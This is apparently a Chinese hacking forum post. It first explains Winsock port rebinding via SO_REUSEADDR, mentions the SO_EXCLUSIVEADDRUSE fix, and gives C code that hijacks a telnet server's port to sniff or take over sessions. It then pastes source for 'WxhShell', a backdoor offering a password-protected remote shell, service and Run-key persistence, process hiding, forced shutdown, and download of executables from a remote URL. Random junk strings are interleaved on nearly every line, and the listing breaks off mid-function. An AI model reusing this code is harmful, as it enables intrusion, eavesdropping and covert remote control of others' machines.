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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1gmt2>#v%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0pJ ":Q/2)  
%I-+Ead0i  
  saddr.sin_family = AF_INET; F B?UZ  
QHWBAGA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pb8^ b  
$<^u^q37u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "Kc>dJ@W  
]S(%[|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /[6j)HIS  
jS+AGE?5e  
  这意味着什么?意味着可以进行如下的攻击: s/7 A7![  
d3W0-INL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K]j0_~3s  
,RgB$TcE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :^Fh!br==  
oyNSh8c7c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C_4)=#@GU  
++aL4:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )u/H>;L P  
2*N_5&9mE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OM|Fwr$  
.Wq@gV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K"b`#xN(t  
ZR$'u%+g'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yr w$  
rp6q?3=g  
  #include 63.wL0~  
  #include 6gT5O]]#o  
  #include Pl<; [cB  
  #include    u{FDdR9<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E[O<S B I  
  int main() n @?4b8"  
  { _:X|.W  
  WORD wVersionRequested; p|Q*5TO  
  DWORD ret; !<UJ6t}  
  WSADATA wsaData; 7C$ 5  
  BOOL val; cZ(elZ0~  
  SOCKADDR_IN saddr; 0b/WpP  
  SOCKADDR_IN scaddr; "H&"(=  
  int err; -AhwI  
  SOCKET s; t\RF=BbJJ  
  SOCKET sc; B%KG3]  
  int caddsize; 6<N5_1  
  HANDLE mt; ?W( 6  
  DWORD tid;   K]U;?h&CZc  
  wVersionRequested = MAKEWORD( 2, 2 ); M.nvB)  
  err = WSAStartup( wVersionRequested, &wsaData ); RGn!{=  
  if ( err != 0 ) { Z0`T\ay  
  printf("error!WSAStartup failed!\n"); ;L|uIg;.s  
  return -1; +uBLk0/)>  
  } 2_ :n  
  saddr.sin_family = AF_INET;  P\]B<  
   70lfb`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U,+[5sbo  
v^ /Q 8Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  .AYj'Y  
  saddr.sin_port = htons(23); @"Z7nJX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3SSm5{197  
  { .e'eE  
  printf("error!socket failed!\n"); 6Z`R#d #I  
  return -1; Cn>ADWpT&  
  } k ^ YO%_  
  val = TRUE; <5G{"U+ \  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .`7cBsXH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d/}SAvtt  
  { etd&..]J  
  printf("error!setsockopt failed!\n"); *26334B.R  
  return -1; {CR5K9  
  } 16L]=&@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sP-^~ pp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @]q BF]6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8scc%t7  
YPzU-:3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;SwMu@tg  
  { -QyhwG =  
  ret=GetLastError(); gPu2G/Y  
  printf("error!bind failed!\n"); sHcTd>xS  
  return -1; ]`bQW?  
  } MWNPPYww  
  listen(s,2); `)qVF,Z}  
  while(1)  PlYm&  
  { oG7q_4+&  
  caddsize = sizeof(scaddr); wBQF~WY  
  //接受连接请求 * ,v|y6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >|6iR%"f#  
  if(sc!=INVALID_SOCKET) U:MPgtwe  
  { G60R9y47c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); or k=`};  
  if(mt==NULL) hLDA]s  
  { XyMG.r-,  
  printf("Thread Creat Failed!\n"); x!_<z''  
  break; 4lqH8l.  
  }  6l$L~>  
  } QZX~T|Ckv  
  CloseHandle(mt); BS&;n  
  } Cda!Mk:  
  closesocket(s); \uME+NF  
  WSACleanup(); +[J/Zw0{  
  return 0; EZ.!rh~+  
  }   &20P,8@  
  DWORD WINAPI ClientThread(LPVOID lpParam) N)S!7%ne  
  { pxSX#S6I  
  SOCKET ss = (SOCKET)lpParam; _/S?#   
  SOCKET sc; K^rIG6  
  unsigned char buf[4096]; -dv %H{  
  SOCKADDR_IN saddr; ?0_7?yTR/  
  long num; .bVmqR`  
  DWORD val; IScRsxFb  
  DWORD ret; w#N?l!5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x f4{r+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $ n,Z  
  saddr.sin_family = AF_INET; F`nb21{0y&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QQe;1O  
  saddr.sin_port = htons(23);  KluA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /H:I 68~  
  { KOg?FmD  
  printf("error!socket failed!\n"); [TF8'jI0  
  return -1; aZKOY  
  } b dJ+@r  
  val = 100; E42eOGp9i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @<M*qK1h  
  { B/Gd(S`@q  
  ret = GetLastError(); cL8#S>>u.  
  return -1; .Hc(y7HV  
  } okq[ o90  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N~pIC2Woo  
  { r}u%#G+K,  
  ret = GetLastError(); I _i6-<c.Q  
  return -1; M HL("v(@B  
  } tn|,O.t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s cdtWA  
  { 7([h4bg{  
  printf("error!socket connect failed!\n"); 0)Rw|(Fpo]  
  closesocket(sc); '!Gs>T+  
  closesocket(ss); 0W`LVue  
  return -1; F8e<}v&7R  
  } i#X!#vyc  
  while(1) ^MD;"A<  
  { 8hA^`Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Fg/dS6=n`?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wA`"\MWm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wFlvi=n/  
  num = recv(ss,buf,4096,0); NZu)j["  
  if(num>0) j<pw\k{i  
  send(sc,buf,num,0); AGYm';z3  
  else if(num==0) ,}xbAA#  
  break; P6Bl *@G  
  num = recv(sc,buf,4096,0); 6zIgQ4Bp24  
  if(num>0) kC$&:\Rh  
  send(ss,buf,num,0); u)Q;8$`  
  else if(num==0) )a=/8ofe  
  break; ^D@b;EyK  
  } ;r=b|B9c  
  closesocket(ss); b'ml=a#i 0  
  closesocket(sc); V 'X;jC  
  return 0 ; :L0/V~D  
  } Lc<eRVNd,  
%lr|xX  
'f/Lv@]a  
========================================================== lH|LdlX  
)[&_scSa  
下边附上一个代码,,WXhSHELL @\(vX]  
?IX!+>.H  
========================================================== OlxX.wP  
Q\{x)|{$  
#include "stdafx.h" {OT:3SS7  
j1Yq5`ia  
#include <stdio.h> 7.<^j[?  
#include <string.h> ;]CVb`d  
#include <windows.h> GR'Ti*Qi  
#include <winsock2.h> y?30_#[dN  
#include <winsvc.h> L6 6-LMkH  
#include <urlmon.h> +TN9ujL6@  
tJ& 5tNl  
#pragma comment (lib, "Ws2_32.lib") A%Z)wz{  
#pragma comment (lib, "urlmon.lib") (}!C4S3#  
(#(O r  
#define MAX_USER   100 // 最大客户端连接数 lS{r=y_0.  
#define BUF_SOCK   200 // sock buffer kvsA]tK.  
#define KEY_BUFF   255 // 输入 buffer v7trr W}  
{bF1\S]2  
#define REBOOT     0   // 重启 0)uYizJce  
#define SHUTDOWN   1   // 关机 Y9r3XhVI  
}bB` (B,m  
#define DEF_PORT   5000 // 监听端口 h3u1K>R)  
]_*S~'x  
#define REG_LEN     16   // 注册表键长度 =lr)gj  
#define SVC_LEN     80   // NT服务名长度 K.>wQA&  
w#G2-?aj  
// 从dll定义API @?B6aD|jE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q^eJ4{Ya:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oB c@]T5>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e[Xq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KSs1CF'i  
Aq#/2t  
// wxhshell配置信息 #y"=Cz=1u7  
struct WSCFG { ,*,sw:=2  
  int ws_port;         // 监听端口 $*~Iu%Az  
  char ws_passstr[REG_LEN]; // 口令 g?/XZ5$a5  
  int ws_autoins;       // 安装标记, 1=yes 0=no ){Mu~P  
  char ws_regname[REG_LEN]; // 注册表键名 ~el-*=<m  
  char ws_svcname[REG_LEN]; // 服务名 _JGs}aQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j kn^Z":  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {^q)^<#JT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z>vtEV))  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +6W(z3($  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >`V}U*}*H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e`U Qz$4!  
9\O(n>  
}; >kYp%r6  
G`]w?Di4  
// default Wxhshell configuration aSaAC7sFk  
struct WSCFG wscfg={DEF_PORT, |ek ak{js  
    "xuhuanlingzhe", ?;7b*Z  
    1, (L69{n  
    "Wxhshell", &d$~6'x*  
    "Wxhshell",  u>cC O'q  
            "WxhShell Service", 6p<`h^  
    "Wrsky Windows CmdShell Service", hol<dB  
    "Please Input Your Password: ", eG] a zt  
  1, wODvc9p}]  
  "http://www.wrsky.com/wxhshell.exe", hCc0sRp  
  "Wxhshell.exe" lxb8xY  
    }; /NBTvTI  
H30OUrD  
// 消息定义模块 W3pQ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z%"Ai)W/{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \SYvD y]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LPE)  
char *msg_ws_ext="\n\rExit."; P2k7M(I_&  
char *msg_ws_end="\n\rQuit."; CJ w$j`k  
char *msg_ws_boot="\n\rReboot..."; - @bp4Z=  
char *msg_ws_poff="\n\rShutdown..."; a5wDm  
char *msg_ws_down="\n\rSave to "; M'jXve(=yF  
Q</h-skLZ  
char *msg_ws_err="\n\rErr!"; E8[XG2ye  
char *msg_ws_ok="\n\rOK!"; +g\;bLT  
o'UHStk  
char ExeFile[MAX_PATH]; ubGs/Vzye  
int nUser = 0; cx(2jk}6  
HANDLE handles[MAX_USER]; LM,fwAX  
int OsIsNt; INNAYQ  
f]_mzF=&  
SERVICE_STATUS       serviceStatus; w7Dt1axB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G%hO\EO  
wly>H]i'  
// 函数声明 8 $ ~3ra  
int Install(void); :1<~}*B@{  
int Uninstall(void); M9"Sgb`g  
int DownloadFile(char *sURL, SOCKET wsh); 3VP$x@AV  
int Boot(int flag); J|j;g!fK  
void HideProc(void); M<oA<#IW  
int GetOsVer(void); xdF guV8  
int Wxhshell(SOCKET wsl); , {<Fz%  
void TalkWithClient(void *cs); ToU.mM?f^  
int CmdShell(SOCKET sock); #8?^C]*{0  
int StartFromService(void); };SV!'9s?~  
int StartWxhshell(LPSTR lpCmdLine); YOw?'+8  
:EB,{|m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dB)9K)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k,_i#9 X  
`jW 4H$D  
// 数据结构和表定义 do' ORcZ  
SERVICE_TABLE_ENTRY DispatchTable[] = x;U|3{I o  
{ nPf'ee  
{wscfg.ws_svcname, NTServiceMain}, ,f<B}O  
{NULL, NULL} euZ(}+N&  
}; ?`. XK}  
zD_H yGf  
// 自我安装 =~,l4g\  
int Install(void) n6cq\@~A  
{ 5faj;I{%JY  
  char svExeFile[MAX_PATH]; ZLJNw0!=|t  
  HKEY key; qY}Cg0[@g  
  strcpy(svExeFile,ExeFile); JK^[{1 JI  
Kq7C0)23  
// 如果是win9x系统,修改注册表设为自启动 $^$ECDOTB  
if(!OsIsNt) { 5; f\0<-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tk+DPp^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $c9=mjwH  
  RegCloseKey(key); #WEq-0L   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kIM C~Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x7gjG"V  
  RegCloseKey(key); ak2dn]]D  
  return 0; d Uz<1^L  
    } 4<Kgmy  
  } F@<MT<TRf  
} X%`KYo%  
else { Xu%d,T$G  
t?.\|2  
// 如果是NT以上系统,安装为系统服务 u\5g3BH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b7v dk  
if (schSCManager!=0) B(Y.`L? %E  
{ 0BXs&i-TP5  
  SC_HANDLE schService = CreateService 'z](xG<  
  ( DPeVKyjU  
  schSCManager, msG3 ~@q  
  wscfg.ws_svcname, 'a_s%{BJXg  
  wscfg.ws_svcdisp, qb$_xIQpDL  
  SERVICE_ALL_ACCESS, X 7&U3v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ RX`>r{_  
  SERVICE_AUTO_START, K P6PQgc  
  SERVICE_ERROR_NORMAL, LaT8l?q q  
  svExeFile, ^Y<M~K972  
  NULL, ?%;B`2 nDR  
  NULL, L5C2ng>  
  NULL, w .l|G,%=  
  NULL, o'^phlX  
  NULL Z"N(=B  
  ); kxy]vH6m  
  if (schService!=0) qOgtGN}k  
  { bQV("~#  
  CloseServiceHandle(schService);  2$)mC9  
  CloseServiceHandle(schSCManager); 1gk0l'.z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x Ty7lfSe  
  strcat(svExeFile,wscfg.ws_svcname); N6BNzN}-P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #nbn K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H9:%6sds  
  RegCloseKey(key); oB}K[3uB:t  
  return 0; %t{Sb4XZ4k  
    } ^\{J5  
  } A?' H[2]w"  
  CloseServiceHandle(schSCManager); &/DOO ^  
} i\vpGlx  
} Z?C4a }  
w Oj88J)  
return 1; &58 {  
} V0S6M^\DK  
#AvEH=:  
// 自我卸载 %A=|'6)k2  
int Uninstall(void) QSv^l-<  
{ N+hedF@ZU  
  HKEY key; *LEu=3lp%>  
3FuCW  
if(!OsIsNt) { _y"a2M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bZK+9IR  
  RegDeleteValue(key,wscfg.ws_regname); YPG,9iZ&f  
  RegCloseKey(key); <oZ(ng@X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cp|:8 [  
  RegDeleteValue(key,wscfg.ws_regname); n{z8Ao%  
  RegCloseKey(key); iA&oLu[y3  
  return 0; *F|i&2  
  } /Go>5 B>  
} {sl~2#,}b1  
} avV mY|I  
else { wn{]#n=|l  
/!-J53K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Q+\h>I  
if (schSCManager!=0) A ^-Z)0 :  
{ yW{mK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m}rh|x/?  
  if (schService!=0) X;(oz]tr$  
  { G~`'E&/  
  if(DeleteService(schService)!=0) { U-1VnX9m  
  CloseServiceHandle(schService);  c,.0d  
  CloseServiceHandle(schSCManager); l$=Gvb  
  return 0; Xn PJC'  
  } e"lD`*U8R  
  CloseServiceHandle(schService); yr%yy+(.k  
  } qT"drgpi3  
  CloseServiceHandle(schSCManager); R/ Tj^lM  
} cB_pyX9Z  
} r)c+".0d^  
x<Iy<v7-  
return 1; uvR0TIF4  
} gj[z ka0_  
U{HyxZ|q<  
// 从指定url下载文件 WI0QLR'  
int DownloadFile(char *sURL, SOCKET wsh) *&h6*zP?  
{ nrI"k2oA@  
  HRESULT hr; +< GrRYbC  
char seps[]= "/"; }+*w.X}L  
char *token; ]&' jP  
char *file; ZMP?'0h=  
char myURL[MAX_PATH]; 3Hy%SN(  
char myFILE[MAX_PATH]; FLK"|*A  
?ISI[hoc  
strcpy(myURL,sURL); "k/;`eAP  
  token=strtok(myURL,seps); v*smI7aH  
  while(token!=NULL) "IOC[#&G  
  { )nJzSN=>$  
    file=token; 1bT' u5&  
  token=strtok(NULL,seps); ]"C| qR*  
  } YGfA qI y  
gHp'3SnS  
GetCurrentDirectory(MAX_PATH,myFILE); !NIL pimi  
strcat(myFILE, "\\"); .mC~Ry+t  
strcat(myFILE, file); e',hC0&S  
  send(wsh,myFILE,strlen(myFILE),0); 5z9JhU  
send(wsh,"...",3,0); UB5}i('L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $,}Qf0(S  
  if(hr==S_OK) r(PJ~8)(=  
return 0; )lQN)! .)  
else ( P  
return 1; +dDJes!]  
Bjurmo  
} YN_X0+b3C  
'Na|#tPYI  
// 系统电源模块 (qNco8QKu3  
int Boot(int flag) U p_>y>x  
{ Ngn\nkf  
  HANDLE hToken; ;Gjv9:hUn  
  TOKEN_PRIVILEGES tkp; #Y/97_2 xa  
2qt=jz\s  
  if(OsIsNt) { qPp1:a"   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Ei\VVK>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LBW.*PHW  
    tkp.PrivilegeCount = 1; z~GVvgd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e_YW~z=6t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]R97n|s_  
if(flag==REBOOT) { J& 1X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \/? ! 6~  
  return 0; sZ0g99eX  
} L+v8E/W  
else { l*~"5f03  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~+sne7 6 U  
  return 0; U;x99Go:  
} Z)C:]}Ex  
  } zyIza@V(  
  else { *=($r%)  
if(flag==REBOOT) { ~5-~q0Ge  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pP?<[ql[w  
  return 0; *5ka.=Qs  
} *O2^{ C  
else { Se!gs>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (1QdZD|  
  return 0; [d!Af4  
} >VpP/Qf  
} dM);LT8@  
0S)"Q^6n y  
return 1; Hj}g1"RA  
} [V!^\g\6  
Ws2prh^e(  
// win9x进程隐藏模块 Y2RxD\!Z  
void HideProc(void) 'DaNR`9  
{ m]+X }|  
 9'L1KQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^N*pIVLC  
  if ( hKernel != NULL ) |HKHN? )  
  { 31 KDeFg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ri^sQ<~(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nOA ,x  
    FreeLibrary(hKernel); ~$ cm9>  
  } 5#9`ROT9  
A"P\4  
return; X=S}WKu  
} )?= kb  
{Sd@u$&  
// 获取操作系统版本 mSVX4XW<  
int GetOsVer(void) `<]P"G  
{ DzX6U[=  
  OSVERSIONINFO winfo; v.~Nv@+kR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jgZX ~D  
  GetVersionEx(&winfo); D@/9+]-,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E 6>1Fm8%V  
  return 1; g4BwKENM  
  else B1 jH.(  
  return 0; C9"f6>i  
} UgOGBj,&5W  
pn ~/!y  
// 客户端句柄模块 HQ-N!pf9  
int Wxhshell(SOCKET wsl)  RU3_Fso  
{ "GIg| 3  
  SOCKET wsh; [4V|UvKz  
  struct sockaddr_in client; VNOK>+  
  DWORD myID; VfJX<e=k  
J.CZR[XF#  
  while(nUser<MAX_USER) zD#+[XI]K  
{ XY$cx~  
  int nSize=sizeof(client); RP ScP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #/& q  
  if(wsh==INVALID_SOCKET) return 1; hs -}:^S`  
#U6/@l)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 93zlfLS0  
if(handles[nUser]==0) DI2S %N l  
  closesocket(wsh); DcFV^8O&  
else A ydy=sj  
  nUser++; uMq\];7I  
  } 6 ^6uK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cSHtl<UY  
B<|q{D$N/  
  return 0; l1`c?Y  
} A-@-?AR  
6832N3=  
// 关闭 socket u:{. Hn`  
void CloseIt(SOCKET wsh) %Pt[3>  
{ unbcz{&Hb[  
closesocket(wsh); Ay[9k=q]  
nUser--; HeAc(_=C  
ExitThread(0); `siy!R  
} $)i"[  
Si%Eimiq  
// 客户端请求句柄 U 8 .0L  
void TalkWithClient(void *cs) e-T9HM&%P  
{ fu7[8R"{  
;#Crh}~  
  SOCKET wsh=(SOCKET)cs; QKL]O*  
  char pwd[SVC_LEN]; QtO[g  
  char cmd[KEY_BUFF]; M\$<g  
char chr[1]; }!J/ 9WKgU  
int i,j; |~T+f&   
l*V72!Mv  
  while (nUser < MAX_USER) { aV92.Z_Ku  
'E4(!H,k  
if(wscfg.ws_passstr) { \ [hrG?A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #f jX|b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3`C3+  
  //ZeroMemory(pwd,KEY_BUFF); Ov{B-zCA  
      i=0; J3!k*"P  
  while(i<SVC_LEN) { f|HgLFx  
8mQd*GGu1  
  // 设置超时 mSvTnd8  
  fd_set FdRead; nG(|7x   
  struct timeval TimeOut; Xb07 l3UG  
  FD_ZERO(&FdRead); R}=]UOqH-  
  FD_SET(wsh,&FdRead); m<VL19o>R  
  TimeOut.tv_sec=8; B+e~k?O]1  
  TimeOut.tv_usec=0; xX67bswG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WY ^K7U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <P Z\qE*+y  
_ZvX"{y~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EWvid4QEi  
  pwd=chr[0]; 9DocId.  
  if(chr[0]==0xd || chr[0]==0xa) { h?O%XnD  
  pwd=0; %%-Tjw o  
  break; 9"l%tq_  
  } 9i xnf=$Jp  
  i++; Zq6ebj  
    } @rDv (W  
4h2bk\z-  
  // 如果是非法用户,关闭 socket N'1[t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,'@ISCK^  
} '\3.isTsx  
DW;.R<8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l>Oe ,`9O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;:K?7wfXn  
MJk:s[o  
while(1) { ^<H#dkECG  
<MDFf nj  
  ZeroMemory(cmd,KEY_BUFF); c9TkIe  
[E&"9%K  
      // 自动支持客户端 telnet标准   Tu T=  
  j=0; @zpHem dB  
  while(j<KEY_BUFF) { =?QQb>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "nS{ ;:  
  cmd[j]=chr[0]; vcUM]m8k   
  if(chr[0]==0xa || chr[0]==0xd) { -1Ki7|0,  
  cmd[j]=0; z@40 g)R2A  
  break; RI].LB_  
  } Tr+Y@]"  
  j++; os0"haOI9h  
    } 'G By^hj?  
<GU(/S!}  
  // 下载文件 [_z2z6  
  if(strstr(cmd,"http://")) { S&g -  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); < oG\)!O  
  if(DownloadFile(cmd,wsh)) c[e GpZ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tlv|To  
  else MZ#2WP)F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ @71  
  } OjL"0imN6  
  else { LB 5EGw  
nHL>}Yg  
    switch(cmd[0]) { pl? J<48  
  SF}L3/C&h  
  // 帮助 kA$;vbm  
  case '?': { >w'?DV>u|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xo@/k   
    break; w[7HY@[  
  } l=G#gKE  
  // 安装 'Rf#1ls#  
  case 'i': { T"jDq1C/,E  
    if(Install()) oz7udY=]0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OTbjZ(  
    else v nT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G7#~=W 2M  
    break; xn#I7]]G  
    } `E%d$  
  // 卸载 x[<#mt  
  case 'r': { ^.aEKr  
    if(Uninstall()) oHGf |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kT3;%D^  
    else iY`7\/H!L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =(uy':Dbn*  
    break; XsCbJ[Z_?q  
    } 8Y kH  
  // 显示 wxhshell 所在路径 i7E7%~S  
  case 'p': { i}12mjF  
    char svExeFile[MAX_PATH]; k{&E}:A  
    strcpy(svExeFile,"\n\r"); =cX"gI[  
      strcat(svExeFile,ExeFile); X| 0`$f  
        send(wsh,svExeFile,strlen(svExeFile),0); {.[,ee-)9  
    break; v}t :}M<;  
    } gG|1$  
  // 重启 8c' -eT"  
  case 'b': { U\plt%2m>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s.Ic3ITd,  
    if(Boot(REBOOT)) 15yV4wHr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7o%|R2mL}  
    else { _z6u^#Si  
    closesocket(wsh); =*G'.D /*  
    ExitThread(0); <{~UKi  
    } ;&:Et  
    break; n/|`Dz.  
    } \{^yB4F_Z  
  // 关机 ?DTP-#5Ba  
  case 'd': { h1d 0{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B$eF@v"  
